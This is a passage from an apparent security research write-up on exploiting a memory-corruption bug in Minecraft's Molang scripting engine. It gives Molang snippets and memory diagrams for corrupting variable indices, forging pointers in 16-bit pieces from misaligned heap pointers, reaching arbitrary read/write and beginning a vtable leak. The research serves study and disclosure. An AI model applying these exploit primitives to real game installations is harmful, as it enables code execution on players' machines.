",{"type":23,"tag":64,"props":151413,"children":151415},{"className":151414},[],[151416],{"type":28,"value":150352},{"type":28,"value":151418}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":151420,"children":151421},{},[151422],{"type":28,"value":151423},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":16388,"props":151425,"children":151427},{"id":151426},"expanding-the-idea",[151428],{"type":28,"value":151429},"Expanding the Idea",{"type":23,"tag":24,"props":151431,"children":151432},{},[151433,151435,151440,151442,151447,151448,151453,151455,151460],{"type":28,"value":151434},"As mentioned earlier, the ",{"type":23,"tag":64,"props":151436,"children":151438},{"className":151437},[],[151439],{"type":28,"value":30272},{"type":28,"value":151441}," field of ",{"type":23,"tag":64,"props":151443,"children":151445},{"className":151444},[],[151446],{"type":28,"value":150352},{"type":28,"value":12933},{"type":23,"tag":64,"props":151449,"children":151451},{"className":151450},[],[151452],{"type":28,"value":55460},{"type":28,"value":151454},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":64,"props":151456,"children":151458},{"className":151457},[],[151459],{"type":28,"value":36670},{"type":28,"value":151461}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":151463,"children":151464},{},[151465,151467,151472],{"type":28,"value":151466},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":64,"props":151468,"children":151470},{"className":151469},[],[151471],{"type":28,"value":150460},{"type":28,"value":151473},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":151475,"children":151476},{},[151477,151479,151484,151486,151491,151493,151498,151499,151505],{"type":28,"value":151478},"In the example below, ",{"type":23,"tag":64,"props":151480,"children":151482},{"className":151481},[],[151483],{"type":28,"value":150886},{"type":28,"value":151485}," points to ",{"type":23,"tag":64,"props":151487,"children":151489},{"className":151488},[],[151490],{"type":28,"value":150460},{"type":28,"value":151492},", while ",{"type":23,"tag":64,"props":151494,"children":151496},{"className":151495},[],[151497],{"type":28,"value":150900},{"type":28,"value":151485},{"type":23,"tag":64,"props":151500,"children":151502},{"className":151501},[],[151503],{"type":28,"value":151504},"MolangVariableMap + 4",{"type":28,"value":287},{"type":23,"tag":435,"props":151507,"children":151509},{"code":151508}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151510],{"type":23,"tag":64,"props":151511,"children":151512},{"__ignoreMap":7},[151513],{"type":28,"value":151508},{"type":23,"tag":24,"props":151515,"children":151516},{},[151517,151519,151524,151525,151530,151532,151537,151539,151544,151546,151551],{"type":28,"value":151518},"Here, the ",{"type":23,"tag":64,"props":151520,"children":151522},{"className":151521},[],[151523],{"type":28,"value":36670},{"type":28,"value":151441},{"type":23,"tag":64,"props":151526,"children":151528},{"className":151527},[],[151529],{"type":28,"value":150886},{"type":28,"value":151531}," starts at the lower 32 bits of the ",{"type":23,"tag":64,"props":151533,"children":151535},{"className":151534},[],[151536],{"type":28,"value":150956},{"type":28,"value":151538}," pointer, while ",{"type":23,"tag":64,"props":151540,"children":151542},{"className":151541},[],[151543],{"type":28,"value":150900},{"type":28,"value":151545}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":64,"props":151547,"children":151549},{"className":151548},[],[151550],{"type":28,"value":150956},{"type":28,"value":151552}," pointer in a separate variable:",{"type":23,"tag":435,"props":151554,"children":151556},{"code":151555},"variable.saved_upper_32 = variable.b;\n",[151557],{"type":23,"tag":64,"props":151558,"children":151559},{"__ignoreMap":7},[151560],{"type":28,"value":151555},{"type":23,"tag":24,"props":151562,"children":151563},{},[151564],{"type":28,"value":151565},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":435,"props":151567,"children":151569},{"code":151568},"variable.a = variable.a + itof(0x8);\n",[151570],{"type":23,"tag":64,"props":151571,"children":151572},{"__ignoreMap":7},[151573],{"type":28,"value":151568},{"type":23,"tag":24,"props":151575,"children":151576},{},[151577],{"type":28,"value":151578},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":435,"props":151580,"children":151582},{"code":151581}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151583],{"type":23,"tag":64,"props":151584,"children":151585},{"__ignoreMap":7},[151586],{"type":28,"value":151581},{"type":23,"tag":24,"props":151588,"children":151589},{},[151590,151592,151597],{"type":28,"value":151591},"Since the 32 bits directly below the ",{"type":23,"tag":64,"props":151593,"children":151595},{"className":151594},[],[151596],{"type":28,"value":36670},{"type":28,"value":151598}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":435,"props":151600,"children":151602},{"code":151601},"variable.b = variable.saved_upper_32;\n",[151603],{"type":23,"tag":64,"props":151604,"children":151605},{"__ignoreMap":7},[151606],{"type":28,"value":151601},{"type":23,"tag":24,"props":151608,"children":151609},{},[151610,151612,151617],{"type":28,"value":151611},"Now ",{"type":23,"tag":64,"props":151613,"children":151615},{"className":151614},[],[151616],{"type":28,"value":150956},{"type":28,"value":151618}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":435,"props":151620,"children":151622},{"code":151621}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[151623],{"type":23,"tag":64,"props":151624,"children":151625},{"__ignoreMap":7},[151626],{"type":28,"value":151621},{"type":23,"tag":24,"props":151628,"children":151629},{},[151630,151632,151637],{"type":28,"value":151631},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":64,"props":151633,"children":151635},{"className":151634},[],[151636],{"type":28,"value":151504},{"type":28,"value":151638}," on the heap?",{"type":23,"tag":24,"props":151640,"children":151641},{},[151642,151644,151649,151651,151657],{"type":28,"value":151643},"Additionally, adding 8 to ",{"type":23,"tag":64,"props":151645,"children":151647},{"className":151646},[],[151648],{"type":28,"value":150886},{"type":28,"value":151650}," in the example above wouldn’t work because ",{"type":23,"tag":64,"props":151652,"children":151654},{"className":151653},[],[151655],{"type":28,"value":151656},"0xddccbba0",{"type":28,"value":151658}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":16388,"props":151660,"children":151662},{"id":151661},"the-final-approach",[151663],{"type":28,"value":151664},"The Final Approach",{"type":23,"tag":24,"props":151666,"children":151667},{},[151668,151670,151675,151677,151683],{"type":28,"value":151669},"We realized that instead of having the second pointer at ",{"type":23,"tag":64,"props":151671,"children":151673},{"className":151672},[],[151674],{"type":28,"value":151504},{"type":28,"value":151676},", we could instead have it at ",{"type":23,"tag":64,"props":151678,"children":151680},{"className":151679},[],[151681],{"type":28,"value":151682},"MolangVariableMap + 2",{"type":28,"value":151684},", which would resolve both of our issues.",{"type":23,"tag":24,"props":151686,"children":151687},{},[151688,151690,151695,151696,151701],{"type":28,"value":151689},"Let’s revisit the previous example, but this time ",{"type":23,"tag":64,"props":151691,"children":151693},{"className":151692},[],[151694],{"type":28,"value":150900},{"type":28,"value":151485},{"type":23,"tag":64,"props":151697,"children":151699},{"className":151698},[],[151700],{"type":28,"value":151682},{"type":28,"value":287},{"type":23,"tag":435,"props":151703,"children":151705},{"code":151704}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151706],{"type":23,"tag":64,"props":151707,"children":151708},{"__ignoreMap":7},[151709],{"type":28,"value":151704},{"type":23,"tag":24,"props":151711,"children":151712},{},[151713,151715,151720],{"type":28,"value":151714},"With this setup, we can calculate any address relative to ",{"type":23,"tag":64,"props":151716,"children":151718},{"className":151717},[],[151719],{"type":28,"value":150956},{"type":28,"value":151721}," by first saving the upper 48 bits of the address:",{"type":23,"tag":435,"props":151723,"children":151725},{"code":151724},"variable.saved_upper_48 = variable.b;\n",[151726],{"type":23,"tag":64,"props":151727,"children":151728},{"__ignoreMap":7},[151729],{"type":28,"value":151724},{"type":23,"tag":24,"props":151731,"children":151732},{},[151733,151734,151740,151742,151748],{"type":28,"value":127362},{"type":23,"tag":64,"props":151735,"children":151737},{"className":151736},[],[151738],{"type":28,"value":151739},"variable.saved_upper_48",{"type":28,"value":151741}," holds the value ",{"type":23,"tag":64,"props":151743,"children":151745},{"className":151744},[],[151746],{"type":28,"value":151747},"0x1c80ddcc",{"type":28,"value":199},{"type":23,"tag":24,"props":151750,"children":151751},{},[151752],{"type":28,"value":151753},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":435,"props":151755,"children":151757},{"code":151756},"variable.b = 0;\n",[151758],{"type":23,"tag":64,"props":151759,"children":151760},{"__ignoreMap":7},[151761],{"type":28,"value":151756},{"type":23,"tag":24,"props":151763,"children":151764},{},[151765],{"type":28,"value":151766},"Resulting in the following state:",{"type":23,"tag":435,"props":151768,"children":151770},{"code":151769}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151771],{"type":23,"tag":64,"props":151772,"children":151773},{"__ignoreMap":7},[151774],{"type":28,"value":151769},{"type":23,"tag":24,"props":151776,"children":151777},{},[151778,151780,151785,151787,151793,151795,151800],{"type":28,"value":151779},"Now, the value of ",{"type":23,"tag":64,"props":151781,"children":151783},{"className":151782},[],[151784],{"type":28,"value":150886},{"type":28,"value":151786}," only spans 16 bits (",{"type":23,"tag":64,"props":151788,"children":151790},{"className":151789},[],[151791],{"type":28,"value":151792},"0xbba0",{"type":28,"value":151794}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":64,"props":151796,"children":151798},{"className":151797},[],[151799],{"type":28,"value":151384},{"type":28,"value":199},{"type":23,"tag":24,"props":151802,"children":151803},{},[151804,151806,151811],{"type":28,"value":151805},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":64,"props":151807,"children":151809},{"className":151808},[],[151810],{"type":28,"value":150886},{"type":28,"value":287},{"type":23,"tag":435,"props":151813,"children":151814},{"code":151568},[151815],{"type":23,"tag":64,"props":151816,"children":151817},{"__ignoreMap":7},[151818],{"type":28,"value":151568},{"type":23,"tag":24,"props":151820,"children":151821},{},[151822],{"type":28,"value":151823},"Which results in:",{"type":23,"tag":435,"props":151825,"children":151827},{"code":151826}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151828],{"type":23,"tag":64,"props":151829,"children":151830},{"__ignoreMap":7},[151831],{"type":28,"value":151826},{"type":23,"tag":24,"props":151833,"children":151834},{},[151835],{"type":28,"value":151836},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":435,"props":151838,"children":151840},{"code":151839},"variable.b = variable.saved_upper_48;\n",[151841],{"type":23,"tag":64,"props":151842,"children":151843},{"__ignoreMap":7},[151844],{"type":28,"value":151839},{"type":23,"tag":24,"props":151846,"children":151847},{},[151848],{"type":28,"value":151849},"Yielding a valid pointer again:",{"type":23,"tag":435,"props":151851,"children":151853},{"code":151852}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151854],{"type":23,"tag":64,"props":151855,"children":151856},{"__ignoreMap":7},[151857],{"type":28,"value":151852},{"type":23,"tag":24,"props":151859,"children":151860},{},[151861],{"type":28,"value":151862},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":435,"props":151864,"children":151866},{"code":151865},"variable.saved_adjusted_lower_16 = variable.a;\n",[151867],{"type":23,"tag":64,"props":151868,"children":151869},{"__ignoreMap":7},[151870],{"type":28,"value":151865},{"type":23,"tag":24,"props":151872,"children":151873},{},[151874],{"type":28,"value":151875},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":435,"props":151877,"children":151879},{"code":151878},"variable.a = variable.saved_upper_48;\n",[151880],{"type":23,"tag":64,"props":151881,"children":151882},{"__ignoreMap":7},[151883],{"type":28,"value":151878},{"type":23,"tag":24,"props":151885,"children":151886},{},[151887],{"type":28,"value":151888},"This produces the following state:",{"type":23,"tag":435,"props":151890,"children":151892},{"code":151891}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151893],{"type":23,"tag":64,"props":151894,"children":151895},{"__ignoreMap":7},[151896],{"type":28,"value":151891},{"type":23,"tag":24,"props":151898,"children":151899},{},[151900,151902,151907,151909,151915,151917,151923,151925,151930,151932,151937],{"type":28,"value":151901},"As shown, ",{"type":23,"tag":64,"props":151903,"children":151905},{"className":151904},[],[151906],{"type":28,"value":150900},{"type":28,"value":151908}," now contains the upper 16 bits of the address (",{"type":23,"tag":64,"props":151910,"children":151912},{"className":151911},[],[151913],{"type":28,"value":151914},"0x1c80",{"type":28,"value":151916},"), which we can store as ",{"type":23,"tag":64,"props":151918,"children":151920},{"className":151919},[],[151921],{"type":28,"value":151922},"variable.saved_upper_16 = variable.b",{"type":28,"value":151924},". Meanwhile, ",{"type":23,"tag":64,"props":151926,"children":151928},{"className":151927},[],[151929],{"type":28,"value":150886},{"type":28,"value":151931}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":64,"props":151933,"children":151935},{"className":151934},[],[151936],{"type":28,"value":150900},{"type":28,"value":287},{"type":23,"tag":435,"props":151939,"children":151940},{"code":151756},[151941],{"type":23,"tag":64,"props":151942,"children":151943},{"__ignoreMap":7},[151944],{"type":28,"value":151756},{"type":23,"tag":24,"props":151946,"children":151947},{},[151948],{"type":28,"value":151949},"Leaving us with:",{"type":23,"tag":435,"props":151951,"children":151953},{"code":151952}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[151954],{"type":23,"tag":64,"props":151955,"children":151956},{"__ignoreMap":7},[151957],{"type":28,"value":151952},{"type":23,"tag":24,"props":151959,"children":151960},{},[151961],{"type":28,"value":151962},"We can now save the middle 16 bits:",{"type":23,"tag":435,"props":151964,"children":151966},{"code":151965},"variable.saved_middle_16 = variable.a;\n",[151967],{"type":23,"tag":64,"props":151968,"children":151969},{"__ignoreMap":7},[151970],{"type":28,"value":151965},{"type":23,"tag":24,"props":151972,"children":151973},{},[151974],{"type":28,"value":151975},"At this point, we have:",{"type":23,"tag":435,"props":151977,"children":151979},{"code":151978},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[151980],{"type":23,"tag":64,"props":151981,"children":151982},{"__ignoreMap":7},[151983],{"type":28,"value":151978},{"type":23,"tag":24,"props":151985,"children":151986},{},[151987],{"type":28,"value":151988},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":24,"props":151990,"children":151991},{},[151992],{"type":28,"value":151993},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":435,"props":151995,"children":151997},{"code":151996},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[151998],{"type":23,"tag":64,"props":151999,"children":152000},{"__ignoreMap":7},[152001],{"type":28,"value":151996},{"type":23,"tag":24,"props":152003,"children":152004},{},[152005],{"type":28,"value":152006},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":435,"props":152008,"children":152010},{"code":152009},"variable.a = variable.saved_adjusted_middle_16;\n",[152011],{"type":23,"tag":64,"props":152012,"children":152013},{"__ignoreMap":7},[152014],{"type":28,"value":152009},{"type":23,"tag":24,"props":152016,"children":152017},{},[152018,152020,152025,152026,152032,152033,152039],{"type":28,"value":152019},"Setting ",{"type":23,"tag":64,"props":152021,"children":152023},{"className":152022},[],[152024],{"type":28,"value":150886},{"type":28,"value":54303},{"type":23,"tag":64,"props":152027,"children":152029},{"className":152028},[],[152030],{"type":28,"value":152031},"0xddcd",{"type":28,"value":578},{"type":23,"tag":64,"props":152034,"children":152036},{"className":152035},[],[152037],{"type":28,"value":152038},"0xddcc + 1",{"type":28,"value":152040},"), and then:",{"type":23,"tag":435,"props":152042,"children":152044},{"code":152043},"variable.b = variable.saved_adjusted_upper_16;\n",[152045],{"type":23,"tag":64,"props":152046,"children":152047},{"__ignoreMap":7},[152048],{"type":28,"value":152043},{"type":23,"tag":24,"props":152050,"children":152051},{},[152052,152054,152059,152061,152067,152068,152074],{"type":28,"value":152053},"Resulting in ",{"type":23,"tag":64,"props":152055,"children":152057},{"className":152056},[],[152058],{"type":28,"value":150900},{"type":28,"value":152060}," value becoming ",{"type":23,"tag":64,"props":152062,"children":152064},{"className":152063},[],[152065],{"type":28,"value":152066},"0x1c81",{"type":28,"value":578},{"type":23,"tag":64,"props":152069,"children":152071},{"className":152070},[],[152072],{"type":28,"value":152073},"0x1c80 + 1",{"type":28,"value":21456},{"type":23,"tag":435,"props":152076,"children":152078},{"code":152077}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152079],{"type":23,"tag":64,"props":152080,"children":152081},{"__ignoreMap":7},[152082],{"type":28,"value":152077},{"type":23,"tag":24,"props":152084,"children":152085},{},[152086],{"type":28,"value":152087},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":435,"props":152089,"children":152091},{"code":152090},"variable.saved_adjusted_upper_48 = variable.a;\n",[152092],{"type":23,"tag":64,"props":152093,"children":152094},{"__ignoreMap":7},[152095],{"type":28,"value":152090},{"type":23,"tag":24,"props":152097,"children":152098},{},[152099],{"type":28,"value":152100},"Finally, we attach the lower 16 bits:",{"type":23,"tag":435,"props":152102,"children":152104},{"code":152103},"variable.a = variable.saved_adjusted_lower_16;\n",[152105],{"type":23,"tag":64,"props":152106,"children":152107},{"__ignoreMap":7},[152108],{"type":28,"value":152103},{"type":23,"tag":435,"props":152110,"children":152112},{"code":152111}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152113],{"type":23,"tag":64,"props":152114,"children":152115},{"__ignoreMap":7},[152116],{"type":28,"value":152111},{"type":23,"tag":24,"props":152118,"children":152119},{},[152120],{"type":28,"value":152121},"And by setting:",{"type":23,"tag":435,"props":152123,"children":152125},{"code":152124},"variable.b = variable.saved_adjusted_upper_48;\n",[152126],{"type":23,"tag":64,"props":152127,"children":152128},{"__ignoreMap":7},[152129],{"type":28,"value":152124},{"type":23,"tag":24,"props":152131,"children":152132},{},[152133],{"type":28,"value":152134},"We forge the final adjusted pointer:",{"type":23,"tag":435,"props":152136,"children":152138},{"code":152137}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152139],{"type":23,"tag":64,"props":152140,"children":152141},{"__ignoreMap":7},[152142],{"type":28,"value":152137},{"type":23,"tag":16288,"props":152144,"children":152145},{},[],{"type":23,"tag":24,"props":152147,"children":152148},{},[152149,152151,152156],{"type":28,"value":152150},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":64,"props":152152,"children":152154},{"className":152153},[],[152155],{"type":28,"value":151682},{"type":28,"value":151638},{"type":23,"tag":24,"props":152158,"children":152159},{},[152160,152162,152167,152169,152174,152176,152182,152184,152189],{"type":28,"value":152161},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":64,"props":152163,"children":152165},{"className":152164},[],[152166],{"type":28,"value":151682},{"type":28,"value":152168},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":64,"props":152170,"children":152172},{"className":152171},[],[152173],{"type":28,"value":28201},{"type":28,"value":152175}," and the other to ",{"type":23,"tag":64,"props":152177,"children":152179},{"className":152178},[],[152180],{"type":28,"value":152181},"addr + 2",{"type":28,"value":152183}," (as long as ",{"type":23,"tag":64,"props":152185,"children":152187},{"className":152186},[],[152188],{"type":28,"value":28201},{"type":28,"value":152190}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":24,"props":152192,"children":152193},{},[152194,152196,152201,152202,152207],{"type":28,"value":152195},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":64,"props":152197,"children":152199},{"className":152198},[],[152200],{"type":28,"value":147656},{"type":28,"value":151441},{"type":23,"tag":64,"props":152203,"children":152205},{"className":152204},[],[152206],{"type":28,"value":150460},{"type":28,"value":152208}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":435,"props":152210,"children":152212},{"code":152211},"variable.corrupted_var_map_ptr = variable.a;\n",[152213],{"type":23,"tag":64,"props":152214,"children":152215},{"__ignoreMap":7},[152216],{"type":28,"value":152211},{"type":23,"tag":24,"props":152218,"children":152219},{},[152220,152222,152227,152229,152235],{"type":28,"value":152221},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":64,"props":152223,"children":152225},{"className":152224},[],[152226],{"type":28,"value":36670},{"type":28,"value":152228}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":64,"props":152230,"children":152232},{"className":152231},[],[152233],{"type":28,"value":152234},"variable.corrupted_var_map_ptr",{"type":28,"value":152236},", even though the type itself is only a 32-bit float.",{"type":23,"tag":16388,"props":152238,"children":152240},{"id":152239},"finding-misaligned-pointers",[152241],{"type":28,"value":152242},"Finding Misaligned Pointers",{"type":23,"tag":24,"props":152244,"children":152245},{},[152246,152248,152253,152254,152260],{"type":28,"value":152247},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":64,"props":152249,"children":152251},{"className":152250},[],[152252],{"type":28,"value":11437},{"type":28,"value":8478},{"type":23,"tag":64,"props":152255,"children":152257},{"className":152256},[],[152258],{"type":28,"value":152259},"ptr + 2",{"type":28,"value":152261},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":24,"props":152263,"children":152264},{},[152265,152270,152271,152276,152278,152283,152285,152290,152292,152297,152299,152304,152306,152312,152313,152318],{"type":23,"tag":64,"props":152266,"children":152268},{"className":152267},[],[152269],{"type":28,"value":150636},{"type":28,"value":12933},{"type":23,"tag":64,"props":152272,"children":152274},{"className":152273},[],[152275],{"type":28,"value":150659},{"type":28,"value":152277}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":64,"props":152279,"children":152281},{"className":152280},[],[152282],{"type":28,"value":150490},{"type":28,"value":152284}," contains three pointers: ",{"type":23,"tag":64,"props":152286,"children":152288},{"className":152287},[],[152289],{"type":28,"value":147656},{"type":28,"value":152291}," (the start of the allocated buffer), ",{"type":23,"tag":64,"props":152293,"children":152295},{"className":152294},[],[152296],{"type":28,"value":6621},{"type":28,"value":152298}," (just past the last element) and ",{"type":23,"tag":64,"props":152300,"children":152302},{"className":152301},[],[152303],{"type":28,"value":150589},{"type":28,"value":152305}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":64,"props":152307,"children":152309},{"className":152308},[],[152310],{"type":28,"value":152311},"uint16_t",{"type":28,"value":99829},{"type":23,"tag":64,"props":152314,"children":152316},{"className":152315},[],[152317],{"type":28,"value":6621},{"type":28,"value":152319}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":24,"props":152321,"children":152322},{},[152323,152325,152330,152332,152338],{"type":28,"value":152324},"We can make the ",{"type":23,"tag":64,"props":152326,"children":152328},{"className":152327},[],[152329],{"type":28,"value":6621},{"type":28,"value":152331}," pointer equal to ",{"type":23,"tag":64,"props":152333,"children":152335},{"className":152334},[],[152336],{"type":28,"value":152337},"cap - 2",{"type":28,"value":152339}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":435,"props":152341,"children":152343},{"code":152342}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[152344],{"type":23,"tag":64,"props":152345,"children":152346},{"__ignoreMap":7},[152347],{"type":28,"value":152342},{"type":23,"tag":16288,"props":152349,"children":152350},{},[],{"type":23,"tag":24,"props":152352,"children":152353},{},[152354,152356,152361,152363,152368,152370,152375,152377,152382,152383,152388],{"type":28,"value":152355},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":64,"props":152357,"children":152359},{"className":152358},[],[152360],{"type":28,"value":147656},{"type":28,"value":152362}," pointer of ",{"type":23,"tag":64,"props":152364,"children":152366},{"className":152365},[],[152367],{"type":28,"value":150460},{"type":28,"value":152369}," in the entity object above, one that would index ",{"type":23,"tag":64,"props":152371,"children":152373},{"className":152372},[],[152374],{"type":28,"value":6621},{"type":28,"value":152376}," and the final ",{"type":23,"tag":64,"props":152378,"children":152380},{"className":152379},[],[152381],{"type":28,"value":150589},{"type":28,"value":152362},{"type":23,"tag":64,"props":152384,"children":152386},{"className":152385},[],[152387],{"type":28,"value":150636},{"type":28,"value":152389}," also in the same entity object above.",{"type":23,"tag":24,"props":152391,"children":152392},{},[152393,152395,152401,152402,152408,152410,152415,152416,152421,152423,152428,152430,152435,152436,152441,152443,152448],{"type":28,"value":152394},"The corrupted variables ",{"type":23,"tag":64,"props":152396,"children":152398},{"className":152397},[],[152399],{"type":28,"value":152400},"variable.corrupted_len_ptr",{"type":28,"value":8478},{"type":23,"tag":64,"props":152403,"children":152405},{"className":152404},[],[152406],{"type":28,"value":152407},"variable.corrupted_cap_ptr",{"type":28,"value":152409}," point to ",{"type":23,"tag":64,"props":152411,"children":152413},{"className":152412},[],[152414],{"type":28,"value":6621},{"type":28,"value":8478},{"type":23,"tag":64,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":28,"value":150589},{"type":28,"value":152422},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":64,"props":152424,"children":152426},{"className":152425},[],[152427],{"type":28,"value":152234},{"type":28,"value":152429},", points to the ",{"type":23,"tag":64,"props":152431,"children":152433},{"className":152432},[],[152434],{"type":28,"value":147656},{"type":28,"value":151441},{"type":23,"tag":64,"props":152437,"children":152439},{"className":152438},[],[152440],{"type":28,"value":150460},{"type":28,"value":152442},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":64,"props":152444,"children":152446},{"className":152445},[],[152447],{"type":28,"value":150460},{"type":28,"value":152449},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":152451,"children":152452},{},[152453],{"type":28,"value":152454},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":16388,"props":152456,"children":152458},{"id":152457},"leaking-pointers",[152459],{"type":28,"value":152460},"Leaking Pointers",{"type":23,"tag":24,"props":152462,"children":152463},{},[152464,152466,152472],{"type":28,"value":152465},"In C++, an object’s first field is typically a ",{"type":23,"tag":64,"props":152467,"children":152469},{"className":152468},[],[152470],{"type":28,"value":152471},"vtable",{"type":28,"value":152473}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":435,"props":152475,"children":152477},{"code":152476}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> 